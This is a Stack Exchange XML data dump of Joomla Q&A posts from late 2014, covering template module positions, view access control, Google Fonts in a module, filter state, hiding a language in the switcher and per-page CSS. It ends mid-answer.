  <row Id="5387" PostTypeId="2" ParentId="5385" CreationDate="2014-11-25T11:48:51.653" Score="1" Body="&lt;p&gt;You can add a new module position to your template, close to the icon you want to use to trigger it. Add something like this to &lt;code&gt;JOOMLAROOT\templates\YOURTEMPLATE\index.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('hiddenmodule')) : ?&amp;gt;&#xA;   &amp;lt;!-- Begin Hidden module--&amp;gt;&#xA;    &amp;lt;div id=&quot;hiddenModule&quot; style=&quot;display:none&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;hiddenmodule&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;!-- End Hidden module--&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;JOOMLAROOT\templates\YOURTEMPLATE\templateDetails.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;position&amp;gt;hiddenmodule&amp;lt;/position&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now style the div width id &lt;code&gt;hiddenmodule&lt;/code&gt; using CSS, and use jQuery to trigger the &lt;code&gt;display&lt;/code&gt; CSS value on hover.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-25T11:48:51.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5388" PostTypeId="1" AcceptedAnswerId="5406" CreationDate="2014-11-25T12:20:52.343" Score="11" ViewCount="2414" Body="&lt;p&gt;In my custom component, I'd like to be able to restrict specific views to only certain usergroups. If I create a menu item for one of my views, that's pretty easy to do: I just select the access level for that menu item and I'm done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem comes if someone tries to access directly an URL with option=com_mycomponent, or any of the internal redirections of my component goes to a page with no assigned Itemid... in that case, it's the component itself the one that needs to check the user group and determine if it's able to view that page... how can I restrict that in my code? Just a simple hardcoded check for user's usergroup? Or there's a &quot;standard&quot; way for doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been checking documentation, and have found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:How_to_implement_actions_in_your_code&quot;&gt;http://docs.joomla.org/J2.5:How_to_implement_actions_in_your_code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that's for what user can do, not for what user can see. I've also found this forum thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=530721&quot;&gt;http://forum.joomla.org/viewtopic.php?t=530721&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code at the beginning is quite old, but at the end it's recommended to use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JUser.html#method_authorise&quot;&gt;http://api.joomla.org/cms-3/classes/JUser.html#method_authorise&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I proceed for that? Should I define assets for main object generated by my view so I can test access for it with JUser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="1504" LastEditDate="2014-11-25T12:51:50.870" LastActivityDate="2015-05-13T11:52:04.147" Title="How to restrict access to custom component views?" Tags="|joomla-3.x|development|extensions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5389" PostTypeId="2" ParentId="5388" CreationDate="2014-11-25T13:27:37.657" Score="4" Body="&lt;p&gt;Here's the code you need to get started with showing you how to see what groups a user is in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$groups = $user-&amp;gt;groups;&#xA;if($user-&amp;gt;id) {&#xA;    echo $user-&amp;gt;username.' is logged in&amp;lt;Br/&amp;gt;';&#xA;    if (isset($groups[8])) echo &quot; - User is a Super User &amp;lt;Br/&amp;gt;&quot;;&#xA;    if (isset($groups[7])) echo &quot; - User is an Administrator &amp;lt;Br/&amp;gt;&quot;;&#xA;    if (isset($groups[6])) echo &quot; - User is an Manager &amp;lt;Br/&amp;gt;&quot;;&#xA;}else{&#xA;    echo 'Not logged in&amp;lt;Br/&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-25T13:27:37.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5390" PostTypeId="2" ParentId="5338" CreationDate="2014-11-25T13:33:09.940" Score="3" Body="&lt;p&gt;You could try a third party Joomla banners component, but I'm not sure even those would be set up for multiple links per banner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would require heavy customization to the banner component because there's no database field to collect the second link's data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'd need to create one and post to it when the other link's data posts.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-25T13:33:09.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5391" PostTypeId="1" CreationDate="2014-11-25T13:42:10.393" Score="1" ViewCount="151" Body="&lt;p&gt;I want to use the google fonts in my module, so that you can pick a font rather than having to type it out. I picked google fonts because it seems like the most &quot;future proof&quot; way, so I wanted to learn that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want someone in the back end to be able to select one of these from a drop-down menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this the best way?&lt;br&gt;&#xA;What is the best way to put it into my xml file without typing every option myself?&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2016-01-22T00:10:15.627" LastActivityDate="2016-01-22T00:10:15.627" Title="How to Include google fonts in a my module?" Tags="|joomla-2.5|module|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5392" PostTypeId="2" ParentId="5391" CreationDate="2014-11-25T13:48:13.807" Score="1" Body="&lt;p&gt;Firstly create a select dropdown field in your XML file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;font&quot; type=&quot;list&quot; default=&quot;Istok+Web&quot; label=&quot;Font&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;Istok+Web&quot;&amp;gt;Istok Web&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Lato&quot;&amp;gt;Lato&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;mod_mymodule.php&lt;/strong&gt; file, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$font = $params-&amp;gt;get('font');&#xA;JHtml::_('stylesheet', 'http://fonts.googleapis.com/css?family=' . $font);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-25T13:48:13.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5394" PostTypeId="1" AcceptedAnswerId="5396" CreationDate="2014-11-25T14:30:17.630" Score="3" ViewCount="488" Body="&lt;p&gt;Based on some internal conditions, I need to filter a list and have the &quot;Search Tools&quot; engaged showing the selected item in the filter list.  The net effect that we want is the same as appending the filter to the url like this &lt;code&gt;http:...&amp;amp;Itemid=161&amp;amp;filter[parent_id]=29&lt;/code&gt;, which does &lt;em&gt;exactly&lt;/em&gt; what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://docs.joomla.org/How_to_use_user_state_variables#Setting_and_retrieving_the_variables&quot; rel=&quot;nofollow&quot;&gt;Setting and retrieving user state variables&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two ways to set user state variables. The first is fairly&#xA;  intuitive, and is done using the JApplication::setUserState method.&#xA;  The second is a little less obvious, and uses the&#xA;  JApplication::getUserStateFromRequest method. There are also two ways&#xA;  to retrieve user state variables. The first is using the&#xA;  JApplication::getUserState method, and the second is to use the&#xA;  JApplication::getUserStateFromRequest method.&#xA;  JApplication::getUserStateFromRequest can be used to both store and&#xA;  retrieve user state variables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is all fine for retrieving the information, but I'm unclear about the method and best place to SET a state variable to accomplish what the above URL does so that the value is saved where all the parts and pieces expected to find it along the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried variations of this code in a number of places, and can usually get the output filtered, but unable to have the Search Tools displayed, so am apparently missing the part that sets up the values that &lt;code&gt;-&amp;gt;getUserStateFromRequest&lt;/code&gt; and other subsequent functions use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the filter state.&#xA;$search = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context.'.filter.search', 'filter_search');&#xA;$this-&amp;gt;setState('filter.search', preg_replace('/\s+/',' ', $search));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code has a loop like below - how do I &quot;set&quot; whatever &lt;code&gt;$app-&amp;gt;getUserStateFromRequest&lt;/code&gt; is going to &quot;get&quot; as the filters to loop through?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($filters = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter', 'filter', array(), 'array')) {&#xA;    foreach ($filters as $name =&amp;gt; $value) {&#xA;        $this-&amp;gt;setState('filter.' . $name, $value);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-25T17:30:07.843" LastActivityDate="2014-11-26T08:20:12.743" Title="How can I use PHP to filter a list as though they had clicked on a Search Tool list item" Tags="|development|mvc|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5396" PostTypeId="2" ParentId="5394" CreationDate="2014-11-25T16:53:42.837" Score="2" Body="&lt;p&gt;Inside the &lt;code&gt;display&lt;/code&gt; method of your view class put this line before &lt;code&gt;parent::display($tpl);&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;get('State')-&amp;gt;filter = array('Foo'=&amp;gt;'Bar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always use this line to filter &lt;code&gt;featured&lt;/code&gt; items in my components and it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;get('State')-&amp;gt;{'filter.featured'} = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-11-26T08:20:12.743" LastActivityDate="2014-11-26T08:20:12.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5397" PostTypeId="1" AcceptedAnswerId="5402" CreationDate="2014-11-25T17:46:14.360" Score="3" ViewCount="1456" Body="&lt;p&gt;I have a question about the Joomla language switcher module. I would like to hide the option to switch to English language on the website. I can't unpublish the English language because then it says the English site doesn't exist anymore. But I need it to exist because its accessed from different link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CsH7R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="3650" LastEditDate="2016-11-25T14:30:55.283" LastActivityDate="2020-07-01T11:09:58.603" Title="Hide languages from the Language Switcher" Tags="|joomla-3.x|module|overrides|language|mod-languages|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5398" PostTypeId="1" AcceptedAnswerId="5399" CreationDate="2014-11-25T18:00:44.620" Score="17" ViewCount="34859" Body="&lt;p&gt;I would like to add custom CSS styling to some of my pages to give them a unique style, and override the default template styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-06-05T11:20:34.700" LastActivityDate="2023-12-28T06:31:38.370" Title="Adding custom CSS styling on some of my pages" Tags="|joomla-3.x|joomla-2.5|templates|css|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5399" PostTypeId="2" ParentId="5398" CreationDate="2014-11-25T18:00:44.620" Score="15" Body="&lt;p&gt;There are several ways to add custom CSS code to a specific page. Here's a couple of alternatives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alt. 1 - Page class&lt;/strong&gt;&lt;br&gt;&#xA;Use page classes. In the menu item editor, under the &quot;Page display&quot; tab, there's a field called &quot;Page class&quot;. This will add a class to your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag (or a &lt;code&gt;&amp;lt;div class=&quot;YOURCLASS&quot;&amp;gt;...&amp;lt;/div&amp;gt;&lt;/code&gt; around your content), depending on how your template is configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F3mBt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then simply create a new rule in your template's CSS file, using the class you specified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&#xA;Add &lt;code&gt;mycustomclass&lt;/code&gt; to the &quot;Page class&quot; field in your menu item, and put this in your CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.mycustomclass p {font-color:red;} // Make text red on this particular page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alt. 2 - Custom CSS modules&lt;/strong&gt;&lt;br&gt;&#xA;Several modules are available for this purpose. One example is &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/14053&quot;&gt;Custom CSS&lt;/a&gt;, a module that allows you to add any CSS code and publish it to the pages you want to style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar option is &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/16359&quot;&gt;Custom HTML Advanced&lt;/a&gt;, a module that lets you add HTML, JavaScript &lt;strong&gt;and CSS&lt;/strong&gt; to your pages. The code can be added to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alt 3. - load additional CSS stylesheet&lt;/strong&gt;&lt;br&gt;&#xA;Another alternative is to check the current menu item ID in your template's &lt;code&gt;index.php&lt;/code&gt; file, and load another CSS stylesheet if needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   $currentMenuId = JSite::getMenu()-&amp;gt;getActive()-&amp;gt;id ;&#xA;   if ($currentMenuId == &quot;14&quot;) {&#xA;       echo '&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;mystyle.css&quot;&amp;gt;';&#xA;   }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-25T18:00:44.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5400" PostTypeId="2" ParentId="5398" CreationDate="2014-11-25T18:47:52.480" Score="10" Body="&lt;p&gt;One of my favorite approaches is to create dynamic classes for the body element.&lt;/p&gt;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $app    = JFactory::getApplication();&#xA;  $menu   = $app-&amp;gt;getMenu();&#xA;  $active = $menu-&amp;gt;getActive();&#xA;  $class  = $active-&amp;gt;alias . &amp;quot; pageid-&amp;quot; . $active-&amp;gt;id;&#xA;?&amp;gt;&#xA;&amp;lt;body class=&amp;quot;&amp;lt;?php echo $class; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some examples of what the above code will produce is:&lt;/p&gt;&#xA;&lt;p&gt;Home page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&amp;quot;home pageid-13&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;About us page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&amp;quot;about-us pageid-15&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you can create custom specific styles per page, using the above classes.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Update 2023&lt;/h2&gt;&#xA;&lt;h3&gt;Getting the menu in Joomla 4:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$activeMenuitem = $menu-&amp;gt;getActive();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2023-12-28T06:31:38.370" LastActivityDate="2023-12-28T06:31:38.370" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5401" PostTypeId="2" ParentId="5397" CreationDate="2014-11-25T18:58:49.480" Score="0" Body="&lt;p&gt;You can create a new module layout, showing only the languages you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module Alternative Layouts&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla#Module_Alternative_Layouts&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Layout_Overrides_in_Joomla#Module_Alternative_Layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-25T18:58:49.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5402" PostTypeId="2" ParentId="5397" CreationDate="2014-11-25T19:35:48.707" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Copy the file &lt;code&gt;modules\mod_languages\tmpl\default.php&lt;/code&gt; to &lt;code&gt;templates\YOURTEMPLATE\html\mod_languages\default.php&lt;/code&gt; to create a template override for the language module.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate the following line in your template override (aprox. line 32 in Joomla 3.3):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;&amp;lt;?php echo $language-&amp;gt;active ? 'lang-active' : '';?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo JLanguage::getInstance($language-&amp;gt;lang_code)-&amp;gt;isRTL() ? 'rtl' : 'ltr' ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace with this (adding &lt;code&gt;echo $language-&amp;gt;title_native;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;&amp;lt;?php echo $language-&amp;gt;active ? 'lang-active' : ''; echo ' ' . $language-&amp;gt;lang_code; ?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo JLanguage::getInstance($language-&amp;gt;lang_code)-&amp;gt;isRTL() ? 'rtl' : 'ltr' ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add the language code to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags, giving you &lt;code&gt;&amp;lt;li class=&quot;active en-GB&quot;...&lt;/code&gt; and allow you to target any language using CSS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, add this code to your template's CSS stylesheet (replace &lt;code&gt;en-GB&lt;/code&gt; with the language you want to hide):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.en-GB {&#xA;    display: none!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-25T19:35:48.707" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="5403" PostTypeId="2" ParentId="5397" CreationDate="2014-11-25T19:36:22.650" Score="2" Body="&lt;p&gt;Following Anibal's answer and the link on how to create a module template override or alternative layout... here is a piece of code you could use inside the template file of the languages module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template of the module is checking for the settings you have defined in the module manager, about how to display the languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of code is like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ($params-&amp;gt;get('show_active', 0) || !$language-&amp;gt;active):?&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;&amp;lt;?php echo $language-&amp;gt;active ? 'lang-active' : '';?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo JLanguage::getInstance($language-&amp;gt;lang_code)-&amp;gt;isRTL() ? 'rtl' : 'ltr' ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $language-&amp;gt;link;?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('image', 1)):?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('image', 'mod_languages/' . $language-&amp;gt;image . '.gif', $language-&amp;gt;title_native, array('title' =&amp;gt; $language-&amp;gt;title_native), true);?&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;                &amp;lt;?php echo $params-&amp;gt;get('full_name', 1) ? $language-&amp;gt;title_native : strtoupper($language-&amp;gt;sef);?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif;?&amp;gt;&#xA;&amp;lt;?php endforeach;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses foreach loop, to loop through the available content languages and will display them.&#xA;Inside the foreach loop and right after its beginning and before its end, you can wrap the executed code with a conditional check like below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes after the beginning of the foreach loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($language-&amp;gt;lang_code != 'en-GB') {?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the code that renders the language menus, only if the language of the menu is not english.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This closes and wrap your if statement, just before the closing of the foreach loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So you should end up with something like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($list as $language) : ?&amp;gt;&#xA;    &amp;lt;?php if ($language-&amp;gt;lang_code != 'en-GB') {?&amp;gt; // Don't run if it's english.&#xA;    &amp;lt;?php if ($params-&amp;gt;get('show_active', 0) || !$language-&amp;gt;active):?&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;&amp;lt;?php echo $language-&amp;gt;active ? 'lang-active' : '';?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo JLanguage::getInstance($language-&amp;gt;lang_code)-&amp;gt;isRTL() ? 'rtl' : 'ltr' ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $language-&amp;gt;link;?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('image', 1)):?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('image', 'mod_languages/' . $language-&amp;gt;image . '.gif', $language-&amp;gt;title_native, array('title' =&amp;gt; $language-&amp;gt;title_native), true);?&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;                &amp;lt;?php echo $params-&amp;gt;get('full_name', 1) ? $language-&amp;gt;title_native : strtoupper($language-&amp;gt;sef);?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif;?&amp;gt; &#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-25T19:36:22.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5404" PostTypeId="2" ParentId="5374" CreationDate="2014-11-25T21:02:35.893" Score="1" Body="&lt;p&gt;I've run into this scenario when troubleshooting back-end component functionality.  9 times out of 10 its because I didn't include the JavaScript logic to handle the toolbar tasks.  Try adding the below script above the form.  Once added, the toolbar call to action buttons should start working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == 'mrcarrosselnoticias.cancel' || document.formvalidator.isValid(document.id('mrcarrosselnoticias-form'))) {&#xA;            Joomla.submitform(task, document.getElementById('mrcarrosselnoticias-form'));&#xA;        }&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-11-25T21:02:35.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5406" PostTypeId="2" ParentId="5388" CreationDate="2014-11-26T04:41:06.670" Score="9" Body="&lt;p&gt;You can create a system plugin to handle all the request to your custom component before sending control to the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;strong&gt;onAfterRoute&lt;/strong&gt; event to perform all the access checking.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterRoute()&#xA;{&#xA;  $user = JFactory::getUser();&#xA;  $groups = $user-&amp;gt;groups;&#xA;&#xA;  $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;  $option = $jinput-&amp;gt;get('option', '');&#xA;  $view   = $jinput-&amp;gt;get('view', '');&#xA;&#xA;  // place USER-GROUP related checking here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-11-26T04:41:06.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5407" PostTypeId="1" CreationDate="2014-11-26T05:15:09.033" Score="2" ViewCount="1205" Body="&lt;p&gt;I'm a beginner in Joomla. I don't want to customize or use modules like BTlogin or default login module in Joomla. I want to create fresh login module with minimum code, I don't know how the passwords are encrypted so please some one help me.&lt;/p&gt;&#xA;" OwnerUserId="2268" LastEditorUserId="1629" LastEditDate="2014-11-26T11:14:48.587" LastActivityDate="2014-11-26T19:35:56.847" Title="How to write custom form and code for Joomla login?" Tags="|development|joomla-3.3.x|login|" AnswerCount="2" CommentCount="1" ClosedDate="2014-11-26T19:44:07.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="5408" PostTypeId="2" ParentId="4723" CreationDate="2014-11-26T06:12:33.287" Score="1" Body="&lt;p&gt;Copy and past this code in to your XML file in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator\components\com_helloworld\models\forms\helloworld.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;greeting&quot;&#xA;    type=&quot;category&quot;&#xA;    extension=&quot;com_helloworld&quot;&#xA;    class=&quot;inputbox&quot;&#xA;    default=&quot;&quot;&#xA;    label=&quot;Day&quot;&#xA;    description=&quot;COM_HELLOWORLD_HELLOWORLD_FIELD_CATID_DESC&quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&quot;Plese select 'DAY'&quot;&amp;gt;--select days--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Monday&quot;&amp;gt;Monday&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Tuesday&quot;&amp;gt;Tuesday&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Wednesday&quot;&amp;gt;Wednesday&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Thursday&quot;&amp;gt;Thursday&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Friday&quot;&amp;gt;Friday&amp;lt;/option&amp;gt;&#xA;    